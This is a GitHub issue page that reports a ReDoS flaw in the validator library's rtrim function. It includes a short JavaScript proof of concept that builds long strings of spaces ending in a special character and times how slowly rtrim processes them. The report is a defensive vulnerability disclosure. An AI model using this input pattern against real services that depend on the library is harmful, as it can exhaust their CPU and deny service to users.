Skip to content

ReDoS in rtrim #1599

@yetingli

Description

@yetingli

Describe the bug
It allows cause a Regular Expression Denial of Service (REDoS) when calling rtrim.

Examples

var validator = require("validator")
function build_attack(n) {
	var ret = ""
	for (var i = 0; i < n; i++) {
		ret += " "
	}

	return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.rtrim(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Additional context
Validator.js version: 14.10.0
Node.js version:
OS platform: windows

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions